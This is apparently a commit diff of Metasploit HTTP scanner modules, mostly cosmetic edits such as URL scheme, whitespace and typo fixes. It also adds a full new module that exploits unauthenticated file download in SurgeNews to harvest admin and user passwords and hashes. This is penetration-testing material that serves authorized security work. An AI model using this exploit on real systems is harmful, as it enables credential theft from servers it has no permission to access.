diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb
index 90eee7303e..7a280d5bbc 100644
--- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb
+++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("Password data from #{uri} stored to #{path}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb
index 92656aeace..7411362a85 100644
--- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb
+++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -152,5 +152,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb
index 613efbc102..3227ac2f4c 100644
--- a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb
+++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -93,5 +92,4 @@ class MetasploitModule < Msf::Auxiliary
       })
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb
index ca496b9e89..dc33479b71 100644
--- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb
+++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -123,7 +123,7 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Failed to login, check credentials.")
       return
     else
-      print_good("Login successful, session: #{session}")
+      print_good("Login Successful, session: #{session}")
     end
 
     contents = read_file(datastore['FILEPATH'], session)
@@ -142,5 +142,4 @@ class MetasploitModule < Msf::Auxiliary
     )
     print_good("File saved in: #{path}")
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb
index 9495fdd629..5e220ccb69 100644
--- a/modules/auxiliary/scanner/http/soap_xml.rb
+++ b/modules/auxiliary/scanner/http/soap_xml.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
               print_status("Server #{wmap_target_host}:#{datastore['RPORT']} returned HTTP 404 for #{datastore['PATH']}.  Use a different one.")
               return false
             else
-              print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
+              print_good("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
               # Add Report
               report_note(
                 host: ip,
diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb
index cba920b1c0..27517c5f09 100644
--- a/modules/auxiliary/scanner/http/sockso_traversal.rb
+++ b/modules/auxiliary/scanner/http/sockso_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb
index 2dffa7a550..68fbfc6f3c 100644
--- a/modules/auxiliary/scanner/http/splunk_web_login.rb
+++ b/modules/auxiliary/scanner/http/splunk_web_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -199,5 +198,4 @@ class MetasploitModule < Msf::Auxiliary
       return :abort
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb
index ce98f1db2c..be547ebc00 100644
--- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb
+++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
         A misconfigured Squid proxy can allow an attacker to make requests on his behalf.
           This may give the attacker information about devices that he cannot reach but the
           Squid proxy can. For example, an attacker can make requests for internal IP addresses
-          against a misconfigurated open Squid proxy exposed to the Internet, therefore performing
+          against a misconfigured open Squid proxy exposed to the Internet, therefore performing
           an internal port scan. The error messages returned by the proxy are used to determine
           if the port is open or not.
 
diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
index e9c32a6c9b..67950be71b 100644
--- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
+++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'Squiz Matrix User Enumeration Scanner',
       'Description'    => %q{
-        This module attempts to enumernate remote users that exist within
+        This module attempts to enumerate remote users that exist within
         the Squiz Matrix and MySource Matrix CMS by sending GET requests for asset IDs
         e.g. ?a=14 and searching for a valid username eg "~root" or "~test" which
         is prefixed by a "~" in the response. It will also try to GET the users
diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb
index 4bac5134a4..8e7eed8db1 100644
--- a/modules/auxiliary/scanner/http/ssl.rb
+++ b/modules/auxiliary/scanner/http/ssl.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::WmapScanSSL
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/ssl_version.rb b/modules/auxiliary/scanner/http/ssl_version.rb
index 2438ed200b..e4d2be094c 100644
--- a/modules/auxiliary/scanner/http/ssl_version.rb
+++ b/modules/auxiliary/scanner/http/ssl_version.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Auxiliary
       :exploited_at => Time.now.utc
     )
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb
index 9997fd6198..fffdc3d551 100644
--- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb
+++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/surgenews_user_creds.rb b/modules/auxiliary/scanner/http/surgenews_user_creds.rb
new file mode 100644
index 0000000000..13dfe92b5f
--- /dev/null
+++ b/modules/auxiliary/scanner/http/surgenews_user_creds.rb
@@ -0,0 +1,193 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+
+  HttpFingerprint = { :pattern => [ /DManager/ ] }
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'           => 'SurgeNews User Credentials',
+      'Description'    => %q{
+        This module exploits a vulnerability in the WebNews web interface
+        of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
+        users to download arbitrary files from the software root directory;
+        including the user database, configuration files and log files.
+
+        This module extracts the administrator username and password, and
+        the usernames and passwords or password hashes for all users.
+
+        This module has been tested successfully on SurgeNews version
+        2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
+      },
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],
+        ],
+      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
+      'DisclosureDate' => 'Jun 16 2017'))
+    register_options [ Opt::RPORT(9080) ]
+    deregister_options 'RHOST'
+  end
+
+  def max_retries
+    3
+  end
+
+  def check_host(ip)
+    @tries = 0
+    res = read_file 'install.log'
+    if res =~ /SurgeNews/
+      return Exploit::CheckCode::Vulnerable
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def read_file(file)
+    data = nil
+    @tries += 1
+    vprint_status "Retrieving file: #{file}"
+    res = send_request_cgi 'uri'      => normalize_uri(target_uri.path, 'webnews'),
+                           'vars_get' => { 'cmd' => 'part', 'fname' => file }
+    if !res
+      vprint_error 'Connection failed'
+    elsif res.code == 550
+      vprint_error "Could not find file '#{file}'"
+    elsif res.code == 200 && res.body =~ /550 Key: No key activated/
+      # unregistered software throws an error once in every ~20 requests
+      # try again...
+      if @tries >= max_retries
+        vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
+      else
+        vprint_status 'Retrying...'
+        return read_file file
+      end
+    elsif res.code == 200 && !res.body.empty?
+      vprint_good "Found #{file} (#{res.body.length} bytes)"
+      data = res.body
+    else
+      vprint_error 'Unexpected reply'
+    end
+    @tries = 0
+    data
+  end
+
+  def parse_log(log_data)
+    return if log_data.nil?
+    username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
+    password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
+    { 'username' => username, 'password' => password }
+  end
+
+  def parse_user_db(user_data)
+    return if user_data.nil?
+    creds = []
+    user_data.lines.each do |line|
+      next if line.eql? ''
+      if line =~ /^(.+?):(.*):Groups=/
+        user = $1
+        pass = $2
+        # clear text credentials are prefaced with '*'
+        if pass.starts_with? '*'
+          creds << { 'username' => user, 'password' => pass[1..-1] }
+        # otherwise its a hash
+        else
+          creds << { 'username' => user, 'hash' => pass }
+        end
+      end
+    end
+    creds
+  end
+
+  def run_host(ip)
+    @tries = 0
+
+    service_data = { address:      rhost,
+                     port:         rport,
+                     service_name: (ssl ? 'https' : 'http'),
+                     protocol:     'tcp',
+                     workspace_id: myworkspace_id }
+
+    cred_table = Rex::Text::Table.new 'Header'  => 'SurgeNews User Credentials',
+                                      'Indent'  => 1,
+                                      'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']
+
+    # Read administrator password from password.log
+    admin = parse_log read_file 'password.log'
+    # If password.log doesn't contain credentials
+    # then the password hasn't been updated since install.
+    # Retrieve the credentials from install.log instead.
+    admin = parse_log read_file 'install.log' if admin.nil?
+
+    if admin.nil?
+      vprint_error 'Found no administrator credentials'
+    else
+      print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
+      cred_table << [admin['username'], admin['password'], nil, true]
+
+      credential_data = { origin_type:     :service,
+                          module_fullname: fullname,
+                          private_type:    :password,
+                          private_data:    admin['password'],
+                          username:        admin['username'] }
+
+      credential_data.merge! service_data
+      credential_core = create_credential credential_data
+      login_data = { core:         credential_core,
+                     access_level: 'Administrator',
+                     status:       Metasploit::Model::Login::Status::UNTRIED }
+      login_data.merge! service_data
+      create_credential_login login_data
+    end
+
+    # Read user credentials from nwauth.add
+    users = parse_user_db read_file 'nwauth.add'
+    if users.nil?
+      vprint_error 'Found no user credentials in nwauth.add'
+    else
+      vprint_status "Found #{users.length} users in nwauth.add"
+    end
+
+    users.each do |user|
+      next if user.empty?
+
+      cred_table << [user['username'], user['password'], user['hash'], false]
+
+      if user['password']
+        print_good "Found user credentials (#{user['username']}:#{user['password']})"
+        credential_data = { origin_type:     :service,
+                            module_fullname: fullname,
+                            private_type:    :password,
+                            private_data:    user['password'],
+                            username:        user['username'] }
+      else
+        credential_data = { origin_type:     :service,
+                            module_fullname: fullname,
+                            private_type:    :nonreplayable_hash,
+                            private_data:    user['hash'],
+                            username:        user['username'] }
+      end
+
+      credential_data.merge! service_data
+      credential_core = create_credential credential_data
+      login_data = { core:         credential_core,
+                     access_level: 'User',
+                     status:       Metasploit::Model::Login::Status::UNTRIED }
+      login_data.merge! service_data
+      create_credential_login login_data
+    end unless users.nil?
+
+    print_line
+    print_line cred_table.to_s
+
+    p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'
+    print_good "Credentials saved in: #{p}"
+  end
+end
diff --git a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb
index 77466631d0..a7d2ee1b30 100644
--- a/modules/auxiliary/scanner/http/svn_scanner.rb
+++ b/modules/auxiliary/scanner/http/svn_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb
index 2f10c6cb7c..6c7e5df4e5 100644
--- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb
+++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -81,5 +78,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb
index 6080fb4e8e..f1e33b823c 100644
--- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb
+++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb
index 944b2ae5c4..e3c8e942ed 100644
--- a/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb
+++ b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require "openssl"
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::HttpClient
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability',
       'Description'    => %q{
-        This module will  grab the AD account saved in Symantec Messaging Gateway and then
+        This module will grab the AD account saved in Symantec Messaging Gateway and then
         decipher it using the disclosed Symantec PBE key.  Note that authentication is required
         in order to successfully grab the LDAP credentials, and you need at least a read account.
         Version 10.6.0-7 and earlier are affected
diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb
index 03721293da..8b3dddda6a 100644
--- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb
+++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -144,5 +143,4 @@ class MetasploitModule < Msf::Auxiliary
     fname = datastore['FILENAME']
     download_file(sid, fname)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb
index daa8537a7b..3905425e62 100644
--- a/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb
+++ b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/symantec_web_gateway'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -133,5 +132,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb
index ba141e3755..10eb819e09 100644
--- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb
+++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -121,5 +120,4 @@ class MetasploitModule < Msf::Auxiliary
 
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb
index d9b8fa1f85..2e95fc4de8 100644
--- a/modules/auxiliary/scanner/http/title.rb
+++ b/modules/auxiliary/scanner/http/title.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb
index 480d40c62e..2445cf936a 100644
--- a/modules/auxiliary/scanner/http/tomcat_enum.rb
+++ b/modules/auxiliary/scanner/http/tomcat_enum.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -116,13 +113,12 @@ class MetasploitModule < Msf::Auxiliary
       return :abort
     end
   end
-
 end
 
 =begin
 
 If your Tomcat doesn't have the admin package by default, download it here:
-http://archive.apache.org/dist/tomcat/	
+http://archive.apache.org/dist/tomcat/
 
 The package name should look something like: apache-tomcat-[version]-admin.zip
 
diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb
index 7470534eca..3be48a740b 100644
--- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb
+++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/tomcat'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -128,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         if result.proof
@@ -139,5 +138,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb
index ede0ac3c7d..726278b394 100644
--- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb
+++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb
index 79c2e065b2..08704b2407 100644
--- a/modules/auxiliary/scanner/http/trace.rb
+++ b/modules/auxiliary/scanner/http/trace.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Auxiliary
           'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker
           'CG' #HTTP TRACE Detection
         ],
-      'License'     => MSF_LICENSE
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2005-3398'], # early case where this vector applied to a specific application.
+          ['URL', 'https://www.owasp.org/index.php/Cross_Site_Tracing']
+        ]
     )
   end
 
diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb
index 3ae32c9a5b..28263f2898 100644
--- a/modules/auxiliary/scanner/http/trace_axd.rb
+++ b/modules/auxiliary/scanner/http/trace_axd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
 
 
       if res and res.body.include?("<td><h1>Application Trace</h1></td>")
-        print_status("[#{target_host}] #{tpath}trace.axd FOUND.")
+        print_good("[#{target_host}] #{tpath}trace.axd FOUND.")
 
         report_note(
             :host	=> target_host,
@@ -84,26 +84,26 @@ class MetasploitModule < Msf::Auxiliary
                 /<td>Via<\/td><td>(\w+.*)<\/td>/,/<td>LOCAL_ADDR<\/td><td>(\w+.*)<\/td>/,
                 /<td>ALL_RAW<\/td><td>((.+\n)+)<\/td>/
               ]
-              print_status ("DETAIL: #{turl}")
+              print_status("DETAIL: #{turl}")
               reg_info.each do |reg|
                 result = res.body.scan(reg).flatten.map{|s| s.strip}.uniq
                 str = result.to_s.chomp
 
 
                 if reg.to_s.include?"APPL_PHYSICAL_PATH"
-                  print_status ("Physical Path: #{str}")
+                  print_status("Physical Path: #{str}")
                 elsif reg.to_s.include?"UserId"
-                  print_status ("User ID: #{str}")
+                  print_status("User ID: #{str}")
                 elsif reg.to_s.include?"Password"
-                  print_status ("Password: #{str}")
+                  print_status("Password: #{str}")
                 elsif reg.to_s.include?"AspFilterSessionId"
-                  print_status ("Session ID: #{str}")
+                  print_status("Session ID: #{str}")
                 elsif reg.to_s.include?"LOCAL_ADDR"
-                  print_status ("Local Address: #{str}")
+                  print_status("Local Address: #{str}")
                 elsif result.include?"Via"
-                  print_status ("VIA: #{str}")
+                  print_status("VIA: #{str}")
                 elsif reg.to_s.include?"ALL_RAW"
-                  print_status ("Headers: #{str}")
+                  print_status("Headers: #{str}")
                 end
               end
             end
diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb
index 13f24d2ad0..b4f325bca5 100644
--- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb
+++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Typo3
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb
index c6645a07d2..26cbe3e69d 100644
--- a/modules/auxiliary/scanner/http/vcms_login.rb
+++ b/modules/auxiliary/scanner/http/vcms_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         This module attempts to authenticate to an English-based V-CMS login interface. It
         should only work against version v1.1 or older, because these versions do not have
-        any default protections against bruteforcing.
+        any default protections against brute forcing.
       },
       'Author'         => [ 'sinn3r' ],
       'License'        => MSF_LICENSE
diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb
index b631a4525f..5ca91d1801 100644
--- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb
+++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,5 +92,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb
index 174a8c4052..1fcf8ff79d 100644
--- a/modules/auxiliary/scanner/http/vhost_scanner.rb
+++ b/modules/auxiliary/scanner/http/vhost_scanner.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
